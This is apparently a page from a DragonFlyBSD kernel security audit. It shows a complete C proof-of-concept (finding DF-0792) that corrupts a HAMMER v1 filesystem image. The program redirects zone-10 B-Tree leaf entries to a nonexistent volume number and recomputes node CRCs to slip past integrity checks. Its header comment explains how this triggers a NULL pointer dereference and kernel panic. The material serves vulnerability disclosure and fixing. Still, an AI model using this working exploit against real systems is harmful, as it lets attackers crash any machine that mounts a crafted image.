DragonFlyBSD Kernel Audit
DF-0792 / corrupt_hammer.c
← back to finding ↓ download raw
/*
 * DF-0792 trigger: corrupt a HAMMER v1 (vol_version <= 6) image to flip
 * the vol_no byte in zone-10 (large_data) B-Tree leaf entries to a value
 * not present in the mount (e.g. 7 in a single-volume fs).
 *
 * Why this triggers the bug:
 *   hammer_io.c::hammer_io_direct_read (and _indirect_read, _direct_write)
 *     vol_no = HAMMER_VOL_DECODE(zone2_offset);
 *     volume = hammer_get_volume(hmp, vol_no, &error);   <-- returns NULL w/ENOENT
 *     if (error == 0 && ...) error = EIO;                <-- guarded
 *     if (error == 0) { ... }                            <-- guarded
 *     hammer_rel_volume(volume, 0);                      <-- UNCONDITIONAL NULL deref
 *
 *   hammer_ondisk.c::hammer_rel_volume immediately derefs &volume->io.lock
 *   via hammer_rel_interlock -> panic (NULL pointer fetch in kernel mode).
 *
 * The B-Tree node CRC is recomputed (crc32 for vol_version <= 6) so the
 * kernel's hammer_crc_test_btree() check (hammer_ondisk.c:1315) does not
 * reject the node before reaching the buggy call site. Data CRCs are over
 * the *data*, not the leaf entry, so changing data_offset's vol_no byte
 * does not invalidate any data_crc.
 *
 * Build:   cc -O2 -o corrupt_hammer corrupt_hammer.c
 * Run:     ./corrupt_hammer <image> [bad_vol_no]   (bad_vol_no default 7)
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>

/* HAMMER v<=6 uses crc32 (Ethernet/zlib polynomial 0xedb88320). */
static uint32_t crc32_table[256];
static void crc32_init(void) {
    for (uint32_t i = 0; i < 256; i++) {
        uint32_t c = i;
        for (int k = 0; k < 8; k++)
            c = (c & 1) ? (0xedb88320 ^ (c >> 1)) : (c >> 1);
        crc32_table[i] = c;
    }
}
static uint32_t crc32_calc(const void *buf, size_t size) {
    const uint8_t *p = buf;
    uint32_t crc = 0xffffffff;
    for (size_t i = 0; i < size; i++)
        crc = crc32_table[(crc ^ p[i]) & 0xff] ^ (crc >> 8);
    return crc ^ 0xffffffff;
}

#define NODE_SIZE 4096
#define HDR_SIZE  64
#define ELM_SIZE  64

int main(int argc, char **argv) {
    if (argc < 2) {
        fprintf(stderr, "usage: %s <image> [bad_vol_no]\n", argv[0]);
        return 2;
    }
    const char *img = argv[1];
    int bad_vol = (argc > 2) ? atoi(argv[2]) : 7;
    crc32_init();
    int fd = open(img, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    off_t img_size = lseek(fd, 0, SEEK_END);
    lseek(fd, 0, SEEK_SET);
    fprintf(stderr, "image size = %lld bytes (%lld MiB)\n",
            (long long)img_size, (long long)img_size >> 20);
    uint8_t node[NODE_SIZE];
    int modified_nodes = 0, modified_entries = 0;
    for (off_t off = 0; off + NODE_SIZE <= img_size; off += NODE_SIZE) {
        if (pread(fd, node, NODE_SIZE, off) != NODE_SIZE) { perror("pread"); break; }
        uint32_t crc = 0;
        memcpy(&crc, node, 4);
        uint32_t count = 0;
        memcpy(&count, node + 16, 4);
        uint8_t ntype = node[20];
        /* only valid leaf nodes ('L' = 0x4c) with sane count */
        if (ntype != 0x4c) continue;
        if (count == 0 || count > 63) continue;
        /* verify node CRC: crc32 over [4 .. NODE_SIZE] */
        uint32_t good = crc32_calc(node + 4, NODE_SIZE - 4);
        if (crc != good) continue;
        int node_changed = 0;
        for (uint32_t i = 0; i < count; i++) {
            uint32_t eo = HDR_SIZE + i * ELM_SIZE;
            /* leaf element: base(40) create_ts(4) delete_ts(4) data_offset(8) data_len(4) data_crc(4) */
            uint64_t data_offset = 0;
            memcpy(&data_offset, node + eo + 48, 8);
            int32_t data_len = 0;
            memcpy(&data_len, node + eo + 56, 4);
            uint32_t zone = (data_offset >> 60) & 0xf;
            uint32_t vol_no = (data_offset >> 52) & 0xff;
            if (zone == 10 && data_len >= 16384 && vol_no == 0) {
                uint64_t new_off = (data_offset & ~((uint64_t)0xff << 52))
                                   | ((uint64_t)bad_vol << 52);
                fprintf(stderr,
                    "  node@0x%jx elm[%u] dataoff=0x%016" PRIx64
                    " -> 0x%016" PRIx64 " (vol_no 0 -> %d)\n",
                    (uintmax_t)off, i, data_offset, new_off, bad_vol);
                memcpy(node + eo + 48, &new_off, 8);
                node_changed = 1;
                modified_entries++;
            }
        }
        if (node_changed) {
            uint32_t new_crc = crc32_calc(node + 4, NODE_SIZE - 4);
            memcpy(node, &new_crc, 4);
            if (pwrite(fd, node, NODE_SIZE, off) != NODE_SIZE) { perror("pwrite"); }
            modified_nodes++;
        }
    }
    close(fd);
    fprintf(stderr, "modified %d entries in %d nodes; bad vol_no = %d\n",
            modified_entries, modified_nodes, bad_vol);
    return 0;
}